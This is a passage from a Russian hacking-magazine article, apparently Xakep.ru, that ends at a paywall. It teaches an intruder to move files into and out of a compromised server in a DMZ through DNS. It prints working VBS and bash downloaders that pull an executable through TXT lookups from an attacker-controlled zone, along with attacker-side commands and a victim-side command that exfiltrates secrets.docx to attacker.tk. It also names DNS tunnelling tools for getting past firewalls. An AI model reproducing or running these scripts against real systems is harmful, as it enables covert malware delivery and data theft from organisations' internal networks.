Пред­ставь, что тебе уда­лось про­бить сетевой периметр и получить дос­туп к сер­веру. Сер­вер вхо­дит во внут­реннюю сеть ком­пании, а это зна­чит, что ты можешь про­ник­нуть и туда. Но, к сожале­нию, ском­про­мети­рован­ный узел находит­ся в DMZ и не име­ет выхода в интернет. Смо­жем ли мы проб­рать­ся внутрь теперь?

В боль­шинс­тве слу­чаев внут­ренние сети никак не огра­ничи­вают раз­решение DNS-имен про­изволь­ных зон. А пос­коль­ку при­рода DNS рас­пре­делен­ная, тот или иной DNS-зап­рос может при­ходить точ­но на под­кон­троль­ный сер­вер зло­умыш­ленни­ка. В ито­ге мы получим пол­ноцен­ный канал переда­чи дан­ных.

В наши дни сущес­тву­ют замеча­тель­ные решения для орга­низа­ции целых VPN-тун­нелей через DNS, такие как iodine. При этом, даже если ты не име­ешь прав root, ты всег­да можешь вос­поль­зовать­ся dnscat или dns2tcp, который проб­росит про­изволь­ное соеди­нение, ска­жем, на прок­си. И в том и в дру­гом слу­чае ты смо­жешь пре­одо­леть огра­ниче­ния фай­рво­лов и начать прод­вижение по внут­ренней сети.

Но оста­ется нерешен­ным глав­ный воп­рос: как передать эти прог­раммы в ском­про­мети­рован­ную сеть? В этом нам поможет на­бор моих скрип­тов для инфиль­тра­ции и эксфиль­тра­ции дан­ных на все слу­чаи жиз­ни. Глав­ная их осо­бен­ность в пол­ном отсутс­твии тре­бова­ний к адми­нис­тра­тив­ным при­виле­гиям и при­цел на перено­симость — ведь на иссле­дуемом сер­вере ока­жет­ся либо Windows, либо Linux.

 

Инфильтрация через DNS

DNS — наш незаме­нимый помощ­ник. С помощью сле­дующе­го кода мы можем ска­чать любой файл с исполь­зовани­ем DNS на любую Windows:

dns_download.vbs
On Error Resume Next
Set objShell = CreateObject("WScript.Shell")
Set writer = CreateObject("Scripting.FileSystemObject").createtextfile("c:\windows\temp\out.exe")
For d = 1 To 1190
pos = 0
While pos = 0
Set exec = objShell.Exec("nslookup -type=txt d"&d&".txt.yourzone.tk")
res = exec.Stdout.ReadAll()
pos = inStr(1,res,"?")
txt = Mid(res,pos+1,253)
Wscript.Echo d & " " & txt
Wend
For b = 0 To Len(txt)/2-1
writer.Write Chr(CInt("&H" & Mid(txt,1+b*2,2)))
Next
Next

А вот скрипт для Linux:

dns_download.sh
#!/bin/bash
for i in `seq $2`
do
answ=`host -t txt "d$i.txt.$1"|cut -d ' ' -f 4`
echo ${answ:2:-1} | xxd -r -p - >> $3
echo $i ${answ:2:-1}
done

Язык VBS обес­печива­ет нам стоп­роцен­тную перено­симость меж­ду все­ми вер­сиями Windows (в отли­чие от PowerShell). Под Linux, как всег­да, исполь­зуем bash.

На сто­роне ском­про­мети­рован­ного сер­вера скрип­ты запус­кают­ся сле­дующим обра­зом.

Ва­риант для Windows:

cscript.exe dns_download.vbs

Для Linux:

./dns_download.sh attacker.tk 1190 /tmp/dnscat

На сто­роне ата­кующе­го — так:

sudo ./dns_upload.py --udp --file dnscat.exe

Нап­ример, на скрин­шотах ниже прог­рамма dns2tcpc.exe переда­ется через DNS с NS-сер­вера под­кон­троль­ной мне DNS-зоны на victim с исполь­зовани­ем чис­того VBS.

Про­изволь­ные дан­ные будут про­ходить через TXT-записи в виде hexastring.

Да­лее мы можем раз­вивать DNS-тун­нелиро­вание уже с исполь­зовани­ем при­выч­ных инс­тру­мен­тов.

 

Эксфильтрация через DNS

Ана­логич­ным обра­зом мы можем и выг­ружать фай­лы с victim. На ата­кующей сто­роне это дела­ется так:

sudo ./dns_download.py --udp --file secrets.docx

На сто­роне жер­твы — так:

cscript.exe dns_upload.vbs c:\path\to\secrets.docx attacker.tk
 

DNS-шелл-код

При экс­плу­ата­ции уяз­вимос­тей из интерне­та нуж­но пом­нить, что ата­куемая сис­тема, ско­рее все­го, находит­ся в DMZ, отку­да дос­тупа в интернет у нее может и не быть. Так что заряжать экс­пло­ит reverse_tcp шелл‑кодами ока­жет­ся бес­полез­ным заняти­ем. Шелл не откро­ется, и ты подума­ешь, что цель неуяз­вима, про­пат­чена или прос­то экс­пло­ит нерабо­чий. Хотя все дело в payload.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    1 Комментарий
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии